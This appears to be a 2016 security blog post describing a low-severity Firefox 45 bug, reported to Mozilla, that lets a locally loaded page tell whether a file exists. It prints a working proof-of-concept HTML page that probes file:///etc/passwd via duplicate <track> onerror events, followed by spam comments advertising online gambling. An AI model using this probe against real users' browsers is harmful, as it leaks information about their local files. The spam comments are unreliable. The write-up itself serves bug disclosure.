Monday 22 August 2016

Firefox Local Filename Enumeration (sec-low)

Hello everyone,

This is going to be a short write up about my first find regarding browser bugs, which was found in Firefox/45.0. The bug is of type "csectype-disclosure" and was flagged as sec-low by Mozilla's team due to the fact that the malicious page has to be loaded locally (via the file:// protocol).

The bug existed because a <track>'s onerror event is fired twice if the file pointed to in it's src attribute doesn't exist, but fires only once if the file existed but is not playable. The <track> tag has to be included inside the opening and closing tags of an <audio> or <video>. The following code is the PoC that was typically sent along with the report to Mozilla's team:

<html>
<head>
<title>Testing</title>
</head>
<audio>
   <track id="q" src="file:///etc/passwd">
</audio>
<script>
var i=0;
q.onerror=function(){
    i++;
   
};
setTimeout(function(){
    if(i==1){
            alert('File Exists');
        }else{
            alert('File Does Not Exist');
            }
 
    },100);
</script>
</body>
</html
 
Finally, I would like to shout out to @Qab for making all that possible.

10 comments:

  1. Your blog is very useful for me.I really like you post.Thanks for sharing.

    ซอมบี้

    ReplyDelete
  2. Great Article it its really informative and innovative keep here: with new updates. Its was really valuable. Thanks a lot. Search Bar Firefox 57 Quantum addon

    ReplyDelete
  3. Thanks for the sharing these amazing content i really enjoyed it what a nice information provide such an help full for us keep doing great job.
    i have some interesting information for you What is Roblox and Who Plays It
    check out

    ReplyDelete
  4. I like your blog,I sincerely hope that your blog a rapid increase in
    traffic density,which help promote your blog and we hope that your blog is being updated.
    wordpress
    blogspot
    youtube
    បាការ៉ាត់អនឡាញ

    ReplyDelete
  5. superslot เล่น ผ่าน เว็บ เว็บไซต์สล็อตออนไลน์ รูปแบบใหม่ ซุปเปอร์สล็อตเอ็กซ์ดี มาแรง กับ pg-slot.game ที่มาแรงที่สุดในขณะนี้ ทางพวกเราเป็นคนที่ให้บริการเกม พีจีสล็อต ที่สนุกที่สุด

    ReplyDelete
  6. สล็อต เว็บ ตรง จากค่ายเกมสล็อตออนไลน์ชื่อดังอันดับ 1 ที่นักพนันทั่วโลกให้การยอมรับว่าเป็นค่ายเกมสล็อตออนไลน์ที่ดีที่สุดตลอดกาลกับค่าย PG SLOT ที่มาแรงที่สุดในปี 2022

    ReplyDelete